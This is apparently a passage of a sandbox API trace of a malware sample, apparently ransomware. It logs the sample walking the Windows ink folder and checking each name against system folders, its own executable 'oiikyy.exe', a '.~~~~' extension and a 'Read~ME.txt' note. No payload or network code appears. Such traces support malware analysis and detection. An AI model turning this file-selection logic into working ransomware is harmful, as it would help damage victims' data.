	[0067.109] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0067.109] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0067.110] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0067.110] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0067.110] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0067.110] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.110] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0067.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.110] GetCurrentThreadId () returned 0x618
	[0067.110] RtlWakeConditionVariable () returned 0x365f48
	[0067.110] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0067.110] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0067.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.110] GetCurrentThreadId () returned 0x618
	[0067.110] RtlWakeConditionVariable () returned 0x365f48
	[0067.110] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0067.110] lstrcmpiW (lpString1="bg-BG", lpString2="Windows") returned -1
	[0067.110] lstrcmpW (lpString1="bg-BG", lpString2=".") returned 1
	[0067.111] lstrcmpW (lpString1="bg-BG", lpString2="..") returned 1
	[0067.111] lstrcmpW (lpString1="bg-BG", lpString2="AppData") returned 1
	[0067.111] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG", lpSrch="AppData") returned 0x0
	[0067.111] lstrlenW (lpString="C:\\Windows") returned 10
	[0067.111] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG", lpString2="C:\\Windows") returned -1
	[0067.111] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0067.111] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG", lpString2="C:\\System Volume Information") returned -1
	[0067.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b04c8
	[0067.111] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0067.111] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0067.111] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0067.111] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0067.111] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0067.112] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0067.112] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.112] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0067.112] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0067.112] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0067.112] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0067.112] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0067.112] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0067.112] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0067.112] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0067.112] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0067.112] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.112] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0067.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.112] GetCurrentThreadId () returned 0x618
	[0067.112] RtlWakeConditionVariable () returned 0x365f48
	[0067.112] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0067.112] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0067.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.112] GetCurrentThreadId () returned 0x618
	[0067.113] RtlWakeConditionVariable () returned 0x365f48
	[0067.113] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1
	[0067.113] lstrcmpiW (lpString1="Content.xml", lpString2="Windows") returned -1
	[0067.113] lstrcmpW (lpString1="Content.xml", lpString2="oiikyy.exe") returned -1
	[0067.113] StrStrW (lpFirst="Content.xml", lpSrch=".~~~~") returned 0x0
	[0067.113] lstrcmpW (lpString1="Content.xml", lpString2="Read~ME.txt") returned -1
	[0067.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.113] GetCurrentThreadId () returned 0x618
	[0067.113] RtlWakeConditionVariable () returned 0x365f48
	[0067.113] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1
	[0067.113] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="Windows") returned -1
	[0067.113] lstrcmpW (lpString1="ConvertInkStore.exe", lpString2="oiikyy.exe") returned -1
	[0067.113] StrStrW (lpFirst="ConvertInkStore.exe", lpSrch=".~~~~") returned 0x0
	[0067.113] lstrcmpW (lpString1="ConvertInkStore.exe", lpString2="Read~ME.txt") returned -1
	[0067.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.113] GetCurrentThreadId () returned 0x618
	[0067.113] RtlWakeConditionVariable () returned 0x365f48
	[0067.113] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0067.113] lstrcmpiW (lpString1="cs-CZ", lpString2="Windows") returned -1
	[0067.113] lstrcmpW (lpString1="cs-CZ", lpString2=".") returned 1
	[0067.113] lstrcmpW (lpString1="cs-CZ", lpString2="..") returned 1
	[0067.113] lstrcmpW (lpString1="cs-CZ", lpString2="AppData") returned 1
	[0067.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ", lpSrch="AppData") returned 0x0
	[0067.114] lstrlenW (lpString="C:\\Windows") returned 10
	[0067.114] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ", lpString2="C:\\Windows") returned -1
	[0067.114] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0067.114] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ", lpString2="C:\\System Volume Information") returned -1
	[0067.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b04c8
	[0067.114] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0067.114] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0067.114] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0067.114] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0067.114] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0067.114] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0067.114] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.114] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0067.114] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0067.115] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0067.115] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0067.115] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0067.115] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0067.115] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0067.115] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0067.115] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0067.115] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.115] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0067.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.115] GetCurrentThreadId () returned 0x618
	[0067.115] RtlWakeConditionVariable () returned 0x365f48
	[0067.115] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0067.115] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0067.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.115] GetCurrentThreadId () returned 0x618
	[0067.115] RtlWakeConditionVariable () returned 0x365f48
	[0067.115] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0067.115] lstrcmpiW (lpString1="da-DK", lpString2="Windows") returned -1
	[0067.115] lstrcmpW (lpString1="da-DK", lpString2=".") returned 1
	[0067.116] lstrcmpW (lpString1="da-DK", lpString2="..") returned 1
	[0067.116] lstrcmpW (lpString1="da-DK", lpString2="AppData") returned 1
	[0067.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK", lpSrch="AppData") returned 0x0
	[0067.116] lstrlenW (lpString="C:\\Windows") returned 10
	[0067.116] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK", lpString2="C:\\Windows") returned -1
	[0067.116] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0067.116] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK", lpString2="C:\\System Volume Information") returned -1
	[0067.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b04c8
	[0067.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0067.116] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0067.116] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0067.116] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0067.116] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0067.116] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0067.116] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.117] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0067.117] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0067.117] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0067.117] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0067.117] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0067.117] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0067.117] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0067.117] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0067.117] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0067.117] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.117] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0067.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.117] GetCurrentThreadId () returned 0x618
	[0067.117] RtlWakeConditionVariable () returned 0x365f48
	[0067.117] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0067.117] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0067.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.117] GetCurrentThreadId () returned 0x618
	[0067.117] RtlWakeConditionVariable () returned 0x365f48
	[0067.118] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0067.118] lstrcmpiW (lpString1="de-DE", lpString2="Windows") returned -1
	[0067.118] lstrcmpW (lpString1="de-DE", lpString2=".") returned 1
	[0067.118] lstrcmpW (lpString1="de-DE", lpString2="..") returned 1
	[0067.118] lstrcmpW (lpString1="de-DE", lpString2="AppData") returned 1
	[0067.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE", lpSrch="AppData") returned 0x0
	[0067.118] lstrlenW (lpString="C:\\Windows") returned 10
	[0067.118] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE", lpString2="C:\\Windows") returned -1
	[0067.118] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0067.118] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE", lpString2="C:\\System Volume Information") returned -1
	[0067.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b04c8
	[0067.118] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0067.276] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0067.276] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0067.276] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0067.276] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0067.276] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0067.276] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.276] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0067.276] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0067.277] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0067.277] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0067.277] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0067.277] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0067.277] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0067.277] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0067.277] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0067.277] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.277] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0067.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.277] GetCurrentThreadId () returned 0x618
	[0067.277] RtlWakeConditionVariable () returned 0x365f48
	[0067.277] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0067.277] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0067.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.277] GetCurrentThreadId () returned 0x618
	[0067.278] RtlWakeConditionVariable () returned 0x365f48
	[0067.278] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0067.278] lstrcmpiW (lpString1="el-GR", lpString2="Windows") returned -1
	[0067.278] lstrcmpW (lpString1="el-GR", lpString2=".") returned 1
	[0067.278] lstrcmpW (lpString1="el-GR", lpString2="..") returned 1
	[0067.278] lstrcmpW (lpString1="el-GR", lpString2="AppData") returned 1
	[0067.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR", lpSrch="AppData") returned 0x0
	[0067.279] lstrlenW (lpString="C:\\Windows") returned 10
